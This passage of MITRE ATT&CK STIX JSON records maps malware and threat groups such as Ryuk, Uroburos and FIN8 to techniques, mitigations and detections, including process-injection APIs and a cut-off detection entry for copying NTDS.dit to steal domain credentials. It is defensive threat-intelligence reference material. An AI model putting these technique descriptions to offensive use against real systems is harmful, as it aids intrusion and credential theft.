2021)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1790e922-4472-4509-8193-63ba613ce068","created":"2024-07-01T20:18:35.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Workspace Apps Script Restrict OAuth Scopes","description":"Google Workspace. (2024, March 5). Monitor & restrict data access. Retrieved July 1, 2024.","url":"https://developers.google.com/apps-script/guides/admin/monitor-restrict-oauth-scopes"},{"source_name":"Microsoft Developer Support Power Apps Conditional Access","description":"Microsoft Developer Support. (2020, May 9). Control Access to Power Apps and Power Automate with Azure AD Conditional Access Policies. Retrieved July 1, 2024.","url":"https://devblogs.microsoft.com/premier-developer/control-access-to-power-apps-and-power-automate-with-azure-ad-conditional-access-policies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T13:52:52.401Z","description":"Where possible, consider restricting access to and use of serverless functions. For examples, conditional access policies can be applied to users attempting to create workflows in Microsoft Power Automate. Google Apps Scripts that use OAuth can be limited by restricting access to high-risk OAuth scopes.(Citation: Microsoft Developer Support Power Apps Conditional Access)(Citation: Google Workspace Apps Script Restrict OAuth Scopes)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1790f5a1-b5d5-41a4-8da0-c75ed7a23b0d","type":"relationship","created":"2020-05-14T14:27:31.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-15T21:51:10.377Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used multiple native APIs including ShellExecuteW to run executables,GetWindowsDirectoryW to create folders, and VirtualAlloc, WriteProcessMemory, and CreateRemoteThread for process injection.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1793516c-a4dd-4726-9bb3-c3b2bbecc605","created":"2022-07-14T17:41:18.406Z","x_mitre_version":"0.1","external_references":[{"source_name":"BlackBerry Amadey 2020","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Amadey](https://attack.mitre.org/software/S1025) has obfuscated strings such as antivirus vendor names, domains, files, and others.(Citation: BlackBerry Amadey 2020)","modified":"2022-07-14T17:47:56.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--179502a9-cab0-4144-afd1-7be586362c2f","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MDSec Detecting DOTNET","description":"MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.","url":"https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"},{"source_name":"Introducing Donut","description":"The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.","url":"https://thewover.github.io/Introducing-Donut/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--179538d1-5770-42ef-976f-c0fd65faa1ea","type":"relationship","created":"2020-06-08T18:06:36.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T18:06:36.319Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify hardware information, the computer name, and OS information on an infected host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--179fbf03-5368-4c4b-a628-e2cf8b27c779","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse legitimate extensible development features of servers to establish persistent access to systems. Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17a2eeb2-2221-4292-b584-d39d19a6409f","type":"relationship","created":"2021-09-21T15:45:10.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.859Z","description":"[Turian](https://attack.mitre.org/software/S0647) can search for specific files and list directories.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17a834a6-8d77-4fee-bd02-539d93f6fa5c","type":"relationship","created":"2020-11-13T19:19:40.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.784Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can write or modify browser shortcuts to enable launching of malicious browser extensions.(Citation: IBM Grandoreiro April 2020) ","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17ac7d6e-828c-4b8c-84de-4e0575f1703a","created":"2022-06-14T14:40:57.182Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can hide the current window from the targeted user via the `ShowWindow` API function.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-14T14:40:57.182Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17ad59c0-1aff-490b-bb43-02e1d0292a87","type":"relationship","created":"2020-10-20T03:26:40.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:34:22.999Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17aef45b-9a3c-4192-af31-4a21300a90e0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2019-04-22T19:23:13.532Z","description":"(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17af5c1a-7912-40af-b7b9-f68f0a15977d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:37:40.828Z","description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can spawn `svchost.exe` and inject the payload into that process.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17b6dd18-037e-4a39-bcc8-67ea8fafdd1a","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments for logon scripts","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17b73eb6-f4a6-49d4-8f72-18796cf7d553","created":"2024-05-22T22:57:04.969Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:57:04.969Z","description":"[BFG Agonizer](https://attack.mitre.org/software/S1136) uses elevated privileges to call NtRaiseHardError to induce a \"blue screen of death\" on infected systems, causing a system crash. Once shut down, the system is no longer bootable.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17b92de6-f308-4468-8b2e-c1b2edf08e46","type":"relationship","created":"2020-10-20T03:36:29.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:49:13.516Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17bace22-3930-4b7e-9fd1-1473da5496ff","created":"2023-09-06T15:36:26.470Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:36:26.470Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has executed the command `quser` to display the session details of a compromised machine.(Citation: Symantec FIN8 Jul 2023) ","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17bb48d5-7b1b-43be-b18e-07bc0462cad5","created":"2023-02-23T18:15:32.787Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:15:32.787Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware to store malicious binaries in hidden directories on victim's USB drives.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17bc0957-1509-4faf-bb51-a6a9e1959978","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:25:28.951Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface for code execution.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17bc166c-7598-4297-9cc1-1ee9ef4182a2","created":"2022-10-17T19:21:41.895Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:21:41.895Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has run tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17bee216-d5ff-4e66-b221-0129be41b4f5","type":"relationship","created":"2019-01-29T21:40:37.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:09:54.753Z","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim’s machine.(Citation: Zscaler Cobian Aug 2017)","relationship_type":"uses","source_ref":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17bfea1d-e3c8-4bf9-8102-576e7c87883e","type":"relationship","created":"2020-05-26T20:33:11.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.319Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a DGA for C2 communications.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17c0d0d3-b57d-434d-9404-1e67414a4da5","created":"2021-03-17T20:30:08.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"group-ib_muddywater_infra","description":"Rostovcev, N. (2023, April 18). SimpleHarm: Tracking MuddyWater’s infrastructure. Retrieved July 11, 2024.","url":"https://www.group-ib.com/blog/muddywater-infrastructure/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-29T15:07:22.118Z","description":"MuddyWater has used legitimate tools [ConnectWise](https://attack.mitre.org/software/S0591), [RemoteUtilities](https://attack.mitre.org/software/S0592), and SimpleHelp to gain access to the target environment.(Citation: Anomali Static Kitten February 2021)(Citation: group-ib_muddywater_infra)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17c3e2e7-f208-408c-b767-6c5be92646c4","created":"2023-06-23T20:29:42.868Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-23T20:29:42.868Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use its `Get` command to exfiltrate specified files from the compromised system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17c43eed-f8a2-42cb-8f0a-f31978e9e351","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.248Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) can conduct file browsing.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17c50546-6ffb-462e-b4ec-2d7cd0b00f55","type":"relationship","created":"2021-09-28T18:53:02.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.306Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can retrieve the victim’s username.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17c61826-15ca-4eab-b3a7-073fc47a144d","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:05:58.472Z","description":"Monitor executed commands and arguments that may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. Look for command-lines that invoke attempts to access or copy the NTDS.dit.\n\nNote: Events 4688 (Microsoft Windows Security Auditing) and 1 (Microsoft Windows Sysmon) provide context of commands and parameters being executed via creation of a new process. Event 800 (PowerShell) provides context of commands and parameters being executed via PowerShell. This detection is based on known Windows utilities commands and parameters that can be used to copy the ntds.dit file. It is recommended to keep the list of commands and parameters up to date.\n\nAnalytic 1 - Command line attempt to access or 